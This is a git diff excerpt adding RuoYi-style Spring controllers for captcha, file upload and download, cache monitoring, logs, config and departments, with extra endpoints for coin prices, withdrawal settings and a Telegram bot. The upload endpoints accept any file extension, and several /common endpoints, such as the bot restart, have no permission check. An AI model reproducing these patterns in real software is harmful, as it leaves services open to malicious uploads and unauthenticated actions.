com.ruoyi.system.service.ISysConfigService; + +/** + * 验证码操作处理 + * + * @author ruoyi + */ +@RestController +public class CaptchaController +{ + @Resource(name = "captchaProducer") + private Producer captchaProducer; + + @Resource(name = "captchaProducerMath") + private Producer captchaProducerMath; + + @Autowired + private RedisCache redisCache; + + @Autowired + private ISysConfigService configService; + /** + * 生成验证码 + */ + @GetMapping("/captchaImage") + public AjaxResult getCode(HttpServletResponse response) throws IOException + { + AjaxResult ajax = AjaxResult.success(); + boolean captchaEnabled = configService.selectCaptchaEnabled(); + ajax.put("captchaEnabled", captchaEnabled); + if (!captchaEnabled) + { + return ajax; + } + + // 保存验证码信息 + String uuid = IdUtils.simpleUUID(); + String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + uuid; + + String capStr = null, code = null; + BufferedImage image = null; + + // 生成验证码 + String captchaType = RuoYiConfig.getCaptchaType(); + if ("math".equals(captchaType)) + { + String capText = captchaProducerMath.createText(); + capStr = capText.substring(0, capText.lastIndexOf("@")); + code = capText.substring(capText.lastIndexOf("@") + 1); + image = captchaProducerMath.createImage(capStr); + } + else if ("char".equals(captchaType)) + { + capStr = code = captchaProducer.createText(); + image = captchaProducer.createImage(capStr); + } + + redisCache.setCacheObject(verifyKey, code, Constants.CAPTCHA_EXPIRATION, TimeUnit.MINUTES); + // 转换流信息写出 + FastByteArrayOutputStream os = new FastByteArrayOutputStream(); + try + { + ImageIO.write(image, "jpg", os); + } + catch (IOException e) + { + return AjaxResult.error(e.getMessage()); + } + + ajax.put("uuid", uuid); + ajax.put("img", Base64.encode(os.toByteArray())); + return ajax; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java new file mode 100644 index 0000000..c2a12e5 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java @@ -0,0 +1,240 @@ +package com.ruoyi.web.controller.common; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.*; +import com.ruoyi.bussiness.domain.vo.RecoedEnumVO; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.impl.FileServiceImpl; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.file.FileUploadUtils; +import com.ruoyi.common.utils.file.FileUtils; +import com.ruoyi.framework.config.ServerConfig; +import com.ruoyi.telegrambot.TelegramBotConfig; +import io.swagger.annotations.ApiOperation; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.*; + +/** + * 通用请求处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/common") +public class CommonController +{ + private static final Logger log = LoggerFactory.getLogger(CommonController.class); + + @Resource + private ServerConfig serverConfig; + @Resource + private RedisCache redisCache; + @Resource + private FileServiceImpl fileService; + @Resource + private TelegramBotConfig telegramBotConfig; + @Resource + private SettingService settingService; + + private static final String FILE_DELIMETER = ","; + + /** + * 通用下载请求 + * + * @param fileName 文件名称 + * @param delete 是否删除 + */ + @GetMapping("/download") + public void fileDownload(String fileName, Boolean delete, HttpServletResponse response, HttpServletRequest request) + { + try + { + if (!FileUtils.checkAllowDownload(fileName)) + { + throw new Exception(StringUtils.format("文件名称({})非法,不允许下载。 ", fileName)); + } + String realFileName = System.currentTimeMillis() + fileName.substring(fileName.indexOf("_") + 1); + String filePath = RuoYiConfig.getDownloadPath() + fileName; + + response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); + FileUtils.setAttachmentResponseHeader(response, realFileName); + FileUtils.writeBytes(filePath, response.getOutputStream()); + if (delete) + { + FileUtils.deleteFile(filePath); + } + } + catch (Exception e) + { + log.error("下载文件失败", e); + } + } + + /** + * 通用上传请求(单个) + */ + @PostMapping("/upload") + public AjaxResult uploadFile(MultipartFile file) throws Exception + { + + try { + String filename = file.getResource().getFilename(); + //这里文件名用了uuid 防止重复,可以根据自己的需要来写 + String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length()); + name = name.replace("-", ""); + String url = fileService.uploadFileOSS(file,name); + AjaxResult ajax = AjaxResult.success(); + ajax.put("url", url); + ajax.put("fileName", name); + ajax.put("newFileName", FileUtils.getName(name)); + ajax.put("originalFilename", file.getOriginalFilename()); + return ajax; + } catch (Exception e) { + e.getMessage(); + return AjaxResult.error(e.getMessage()); + } + } + + /** + * 通用上传请求(多个) + */ + @PostMapping("/uploads") + public AjaxResult uploadFiles(List files) throws Exception + { + try + { + // 上传文件路径 + String filePath = RuoYiConfig.getUploadPath(); + List urls = new ArrayList(); + List fileNames = new ArrayList(); + List newFileNames = new ArrayList(); + List originalFilenames = new ArrayList(); + for (MultipartFile file : files) + { + // 上传并返回新文件名称 + String fileName = FileUploadUtils.upload(filePath, file); + String url = serverConfig.getUrl() + fileName; + urls.add(url); + fileNames.add(fileName); + newFileNames.add(FileUtils.getName(fileName)); + originalFilenames.add(file.getOriginalFilename()); + } + AjaxResult ajax = AjaxResult.success(); + ajax.put("urls", StringUtils.join(urls, FILE_DELIMETER)); + ajax.put("fileNames", StringUtils.join(fileNames, FILE_DELIMETER)); + ajax.put("newFileNames", StringUtils.join(newFileNames, FILE_DELIMETER)); + ajax.put("originalFilenames", StringUtils.join(originalFilenames, FILE_DELIMETER)); + return ajax; + } + catch (Exception e) + { + return AjaxResult.error(e.getMessage()); + } + } + + /** + * 本地资源通用下载 + */ + @GetMapping("/download/resource") + public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response) + throws Exception + { + try + { + if (!FileUtils.checkAllowDownload(resource)) + { + throw new Exception(StringUtils.format("资源文件({})非法,不允许下载。 ", resource)); + } + // 本地资源路径 + String localPath = RuoYiConfig.getProfile(); + // 数据库资源地址 + String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); + // 下载名称 + String downloadName = StringUtils.substringAfterLast(downloadPath, "/"); + response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); + FileUtils.setAttachmentResponseHeader(response, downloadName); + FileUtils.writeBytes(downloadPath, response.getOutputStream()); + } + catch (Exception e) + { + log.error("下载文件失败", e); + } + } + + @PostMapping("/upload/OSS") + public AjaxResult uploadFileOSS(MultipartFile file, String remark) { + try { + String filename = file.getResource().getFilename(); + //这里文件名用了uuid 防止重复,可以根据自己的需要来写 + String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length()); + name = name.replace("-", ""); + String url = fileService.uploadFileOSS(file,name); + AjaxResult ajax = AjaxResult.success(); + ajax.put("fileName", name); + ajax.put("url", url); + return ajax; + } catch (Exception e) { + e.getMessage(); + return AjaxResult.error(e.getMessage()); + } + } + + + @PostMapping("/recordType") + public AjaxResult recordType() { + List recoedEnumVOS = new ArrayList<>(); + LinkedHashMap map = RecordEnum.getMap(); + for (Integer s : map.keySet()) { + RecoedEnumVO recoedEnumVO = new RecoedEnumVO(); + recoedEnumVO.setKey(s); + recoedEnumVO.setValue(map.get(s)); + recoedEnumVOS.add(recoedEnumVO); + } + System.out.println(map); + return AjaxResult.success(recoedEnumVOS); + } + + @PostMapping("/reStartBot") + public AjaxResult reStartBot() { + try { + telegramBotConfig.start(); + } catch (TelegramApiException e) { + e.printStackTrace(); + } + return AjaxResult.success(); + } + @PostMapping("/getCoinPrice") + public AjaxResult getCoinPrice(@RequestBody String coin) { + return AjaxResult.success(redisCache.getCacheObject(CachePrefix.CURRENCY_CLOSE_PRICE.getPrefix() + coin.toLowerCase())); + } + + @ApiOperation(value = "获取所有配置") + @PostMapping("/getAllSetting") + public AjaxResult getAllSetting() { + //提现 + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + HashMap map = new HashMap<>(); + //图形验证码 + setting = settingService.get(SettingEnum.MARKET_URL.name()); + map.put("MARKET_URL",setting == null ? new MarketUrlSetting() : + JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class)); + + return AjaxResult.success(map); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java new file mode 100644 index 0000000..69470d0 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java @@ -0,0 +1,120 @@ +package com.ruoyi.web.controller.monitor; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Properties; +import java.util.Set; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.redis.core.RedisCallback; +import org.springframework.data.redis.core.RedisTemplate; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysCache; + +/** + * 缓存监控 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/cache") +public class CacheController +{ + @Autowired + private RedisTemplate redisTemplate; + + private final static List caches = new ArrayList(); + { + caches.add(new SysCache(CacheConstants.LOGIN_TOKEN_KEY, "用户信息")); + caches.add(new SysCache(CacheConstants.SYS_CONFIG_KEY, "配置信息")); + caches.add(new SysCache(CacheConstants.SYS_DICT_KEY, "数据字典")); + caches.add(new SysCache(CacheConstants.CAPTCHA_CODE_KEY, "验证码")); + caches.add(new SysCache(CacheConstants.REPEAT_SUBMIT_KEY, "防重提交")); + caches.add(new SysCache(CacheConstants.RATE_LIMIT_KEY, "限流处理")); + caches.add(new SysCache(CacheConstants.PWD_ERR_CNT_KEY, "密码错误次数")); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @GetMapping() + public AjaxResult getInfo() throws Exception + { + Properties info = (Properties) redisTemplate.execute((RedisCallback) connection -> connection.info()); + Properties commandStats = (Properties) redisTemplate.execute((RedisCallback) connection -> connection.info("commandstats")); + Object dbSize = redisTemplate.execute((RedisCallback) connection -> connection.dbSize()); + + Map result = new HashMap<>(3); + result.put("info", info); + result.put("dbSize", dbSize); + + List> pieList = new ArrayList<>(); + commandStats.stringPropertyNames().forEach(key -> { + Map data = new HashMap<>(2); + String property = commandStats.getProperty(key); + data.put("name", StringUtils.removeStart(key, "cmdstat_")); + data.put("value", StringUtils.substringBetween(property, "calls=", ",usec")); + pieList.add(data); + }); + result.put("commandStats", pieList); + return AjaxResult.success(result); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @GetMapping("/getNames") + public AjaxResult cache() + { + return AjaxResult.success(caches); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @GetMapping("/getKeys/{cacheName}") + public AjaxResult getCacheKeys(@PathVariable String cacheName) + { + Set cacheKeys = redisTemplate.keys(cacheName + "*"); + return AjaxResult.success(cacheKeys); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @GetMapping("/getValue/{cacheName}/{cacheKey}") + public AjaxResult getCacheValue(@PathVariable String cacheName, @PathVariable String cacheKey) + { + String cacheValue = redisTemplate.opsForValue().get(cacheKey); + SysCache sysCache = new SysCache(cacheName, cacheKey, cacheValue); + return AjaxResult.success(sysCache); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @DeleteMapping("/clearCacheName/{cacheName}") + public AjaxResult clearCacheName(@PathVariable String cacheName) + { + Collection cacheKeys = redisTemplate.keys(cacheName + "*"); + redisTemplate.delete(cacheKeys); + return AjaxResult.success(); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @DeleteMapping("/clearCacheKey/{cacheKey}") + public AjaxResult clearCacheKey(@PathVariable String cacheKey) + { + redisTemplate.delete(cacheKey); + return AjaxResult.success(); + } + + @PreAuthorize("@ss.hasPermi('monitor:cache:list')") + @DeleteMapping("/clearCacheAll") + public AjaxResult clearCacheAll() + { + Collection cacheKeys = redisTemplate.keys("*"); + redisTemplate.delete(cacheKeys); + return AjaxResult.success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java new file mode 100644 index 0000000..cc805ad --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java @@ -0,0 +1,27 @@ +package com.ruoyi.web.controller.monitor; + +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.framework.web.domain.Server; + +/** + * 服务器监控 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/server") +public class ServerController +{ + @PreAuthorize("@ss.hasPermi('monitor:server:list')") + @GetMapping() + public AjaxResult getInfo() throws Exception + { + Server server = new Server(); + server.copyTo(); + return AjaxResult.success(server); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java new file mode 100644 index 0000000..e0175f4 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java @@ -0,0 +1,82 @@ +package com.ruoyi.web.controller.monitor; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.framework.web.service.SysPasswordService; +import com.ruoyi.system.domain.SysLogininfor; +import com.ruoyi.system.service.ISysLogininforService; + +/** + * 系统访问记录 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/logininfor") +public class SysLogininforController extends BaseController +{ + @Autowired + private ISysLogininforService logininforService; + + @Autowired + private SysPasswordService passwordService; + + @PreAuthorize("@ss.hasPermi('monitor:logininfor:list')") + @GetMapping("/list") + public TableDataInfo list(SysLogininfor logininfor) + { + startPage(); + List list = logininforService.selectLogininforList(logininfor); + return getDataTable(list); + } + + @Log(title = "登录日志", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('monitor:logininfor:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysLogininfor logininfor) + { + List list = logininforService.selectLogininforList(logininfor); + ExcelUtil util = new ExcelUtil(SysLogininfor.class); + util.exportExcel(response, list, "登录日志"); + } + + @PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')") + @Log(title = "登录日志", businessType = BusinessType.DELETE) + @DeleteMapping("/{infoIds}") + public AjaxResult remove(@PathVariable Long[] infoIds) + { + return toAjax(logininforService.deleteLogininforByIds(infoIds)); + } + + @PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')") + @Log(title = "登录日志", businessType = BusinessType.CLEAN) + @DeleteMapping("/clean") + public AjaxResult clean() + { + logininforService.cleanLogininfor(); + return success(); + } + + @PreAuthorize("@ss.hasPermi('monitor:logininfor:unlock')") + @Log(title = "账户解锁", businessType = BusinessType.OTHER) + @GetMapping("/unlock/{userName}") + public AjaxResult unlock(@PathVariable("userName") String userName) + { + passwordService.clearLoginRecordCache(userName); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java new file mode 100644 index 0000000..6ca78cf --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java @@ -0,0 +1,69 @@ +package com.ruoyi.web.controller.monitor; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.domain.SysOperLog; +import com.ruoyi.system.service.ISysOperLogService; + +/** + * 操作日志记录 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/operlog") +public class SysOperlogController extends BaseController +{ + @Autowired + private ISysOperLogService operLogService; + + @PreAuthorize("@ss.hasPermi('monitor:operlog:list')") + @GetMapping("/list") + public TableDataInfo list(SysOperLog operLog) + { + startPage(); + List list = operLogService.selectOperLogList(operLog); + return getDataTable(list); + } + + @Log(title = "操作日志", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('monitor:operlog:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysOperLog operLog) + { + List list = operLogService.selectOperLogList(operLog); + ExcelUtil util = new ExcelUtil(SysOperLog.class); + util.exportExcel(response, list, "操作日志"); + } + + @Log(title = "操作日志", businessType = BusinessType.DELETE) + @PreAuthorize("@ss.hasPermi('monitor:operlog:remove')") + @DeleteMapping("/{operIds}") + public AjaxResult remove(@PathVariable Long[] operIds) + { + return toAjax(operLogService.deleteOperLogByIds(operIds)); + } + + @Log(title = "操作日志", businessType = BusinessType.CLEAN) + @PreAuthorize("@ss.hasPermi('monitor:operlog:remove')") + @DeleteMapping("/clean") + public AjaxResult clean() + { + operLogService.cleanOperLog(); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java new file mode 100644 index 0000000..a442863 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java @@ -0,0 +1,83 @@ +package com.ruoyi.web.controller.monitor; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysUserOnline; +import com.ruoyi.system.service.ISysUserOnlineService; + +/** + * 在线用户监控 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/online") +public class SysUserOnlineController extends BaseController +{ + @Autowired + private ISysUserOnlineService userOnlineService; + + @Autowired + private RedisCache redisCache; + + @PreAuthorize("@ss.hasPermi('monitor:online:list')") + @GetMapping("/list") + public TableDataInfo list(String ipaddr, String userName) + { + Collection keys = redisCache.keys(CacheConstants.LOGIN_TOKEN_KEY + "*"); + List userOnlineList = new ArrayList(); + for (String key : keys) + { + LoginUser user = redisCache.getCacheObject(key); + if (StringUtils.isNotEmpty(ipaddr) && StringUtils.isNotEmpty(userName)) + { + userOnlineList.add(userOnlineService.selectOnlineByInfo(ipaddr, userName, user)); + } + else if (StringUtils.isNotEmpty(ipaddr)) + { + userOnlineList.add(userOnlineService.selectOnlineByIpaddr(ipaddr, user)); + } + else if (StringUtils.isNotEmpty(userName) && StringUtils.isNotNull(user.getUser())) + { + userOnlineList.add(userOnlineService.selectOnlineByUserName(userName, user)); + } + else + { + userOnlineList.add(userOnlineService.loginUserToUserOnline(user)); + } + } + Collections.reverse(userOnlineList); + userOnlineList.removeAll(Collections.singleton(null)); + return getDataTable(userOnlineList); + } + + /** + * 强退用户 + */ + @PreAuthorize("@ss.hasPermi('monitor:online:forceLogout')") + @Log(title = "在线用户", businessType = BusinessType.FORCE) + @DeleteMapping("/{tokenId}") + public AjaxResult forceLogout(@PathVariable String tokenId) + { + redisCache.deleteObject(CacheConstants.LOGIN_TOKEN_KEY + tokenId); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java new file mode 100644 index 0000000..ab4653d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java @@ -0,0 +1,133 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.domain.SysConfig; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 参数配置 信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/config") +public class SysConfigController extends BaseController +{ + @Autowired + private ISysConfigService configService; + + /** + * 获取参数配置列表 + */ + @PreAuthorize("@ss.hasPermi('system:config:list')") + @GetMapping("/list") + public TableDataInfo list(SysConfig config) + { + startPage(); + List list = configService.selectConfigList(config); + return getDataTable(list); + } + + @Log(title = "参数管理", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:config:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysConfig config) + { + List list = configService.selectConfigList(config); + ExcelUtil util = new ExcelUtil(SysConfig.class); + util.exportExcel(response, list, "参数数据"); + } + + /** + * 根据参数编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:config:query')") + @GetMapping(value = "/{configId}") + public AjaxResult getInfo(@PathVariable Long configId) + { + return success(configService.selectConfigById(configId)); + } + + /** + * 根据参数键名查询参数值 + */ + @GetMapping(value = "/configKey/{configKey}") + public AjaxResult getConfigKey(@PathVariable String configKey) + { + return success(configService.selectConfigByKey(configKey)); + } + + /** + * 新增参数配置 + */ + @PreAuthorize("@ss.hasPermi('system:config:add')") + @Log(title = "参数管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysConfig config) + { + if (!configService.checkConfigKeyUnique(config)) + { + return error("新增参数'" + config.getConfigName() + "'失败,参数键名已存在"); + } + config.setCreateBy(getUsername()); + return toAjax(configService.insertConfig(config)); + } + + /** + * 修改参数配置 + */ + @PreAuthorize("@ss.hasPermi('system:config:edit')") + @Log(title = "参数管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysConfig config) + { + if (!configService.checkConfigKeyUnique(config)) + { + return error("修改参数'" + config.getConfigName() + "'失败,参数键名已存在"); + } + config.setUpdateBy(getUsername()); + return toAjax(configService.updateConfig(config)); + } + + /** + * 删除参数配置 + */ + @PreAuthorize("@ss.hasPermi('system:config:remove')") + @Log(title = "参数管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{configIds}") + public AjaxResult remove(@PathVariable Long[] configIds) + { + configService.deleteConfigByIds(configIds); + return success(); + } + + /** + * 刷新参数缓存 + */ + @PreAuthorize("@ss.hasPermi('system:config:remove')") + @Log(title = "参数管理", businessType = BusinessType.CLEAN) + @DeleteMapping("/refreshCache") + public AjaxResult refreshCache() + { + configService.resetConfigCache(); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java new file mode 100644 index 0000000..59e7588 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java @@ -0,0 +1,132 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import org.apache.commons.lang3.ArrayUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysDeptService; + +/** + * 部门信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/dept") +public class SysDeptController extends BaseController +{ + @Autowired + private ISysDeptService deptService; + + /** + * 获取部门列表 + */ + @PreAuthorize("@ss.hasPermi('system:dept:list')") + @GetMapping("/list") + public AjaxResult list(SysDept dept) + { + List depts = deptService.selectDeptList(dept); + return success(depts); + } + + /** + * 查询部门列表(排除节点) + */ + @PreAuthorize("@ss.hasPermi('system:dept:list')") + @GetMapping("/list/exclude/{deptId}") + public AjaxResult excludeChild(@PathVariable(value = "deptId", required = false) Long deptId) + { + List depts = deptService.selectDeptList(new SysDept()); + depts.removeIf(d -> d.getDeptId().intValue() == deptId || ArrayUtils.contains(StringUtils.split(d.getAncestors(), ","), deptId + "")); + return success(depts); + } + + /** + * 根据部门编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:dept:query')") + @GetMapping(value = "/{deptId}") + public AjaxResult getInfo(@PathVariable Long deptId) + { + deptService.checkDeptDataScope(deptId); + return success(deptService.selectDeptById(deptId)); + } + + /** + * 新增部门 + */ + @PreAuthorize("@ss.hasPermi('system:dept:add')") + @Log(title = "部门管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysDept dept) + { + if (!deptService.checkDeptNameUnique(dept)) + { + return error("新增部门'" + dept.getDeptName() + "'失败,部门名称已存在"); + } + dept.setCreateBy(getUsername()); + return toAjax(deptService.insertDept(dept)); + } + + /** + * 修改部门 + */ + @PreAuthorize("@ss.hasPermi('system:dept:edit')") + @Log(title = "部门管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysDept dept) + { + Long deptId = dept.getDeptId(); + deptService.checkDeptDataScope(deptId); + if (!deptService.checkDeptNameUnique(dept)) + { + return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在"); + } + else if (dept.getParentId().equals(deptId)) + { + return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己"); + } + else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus()) && deptService.selectNormalChildrenDeptById(deptId) > 0) + { + return error("该部门包含未停用的子部门!"); + } + dept.setUpdateBy(getUsername()); + return toAjax(deptService.updateDept(dept)); + } + + /** + * 删除部门 + */ + @PreAuthorize("@ss.hasPermi('system:dept:remove')") + @Log(title = "部门管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{deptId}") + public AjaxResult remove(@PathVariable Long deptId) + { + if (deptService.hasChildByDeptId(deptId)) + { + return warn("存在下级部门,不允许删除"); + } + if (deptService.checkDeptExistUser(deptId)) + { + return warn("部门存在用户,不允许删除"); + } + deptService.checkDeptDataScope(deptId); + return toAjax(deptService.deleteDeptById(deptId)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java new file mode 100644 index 0000000..31cb17e --- /dev/null 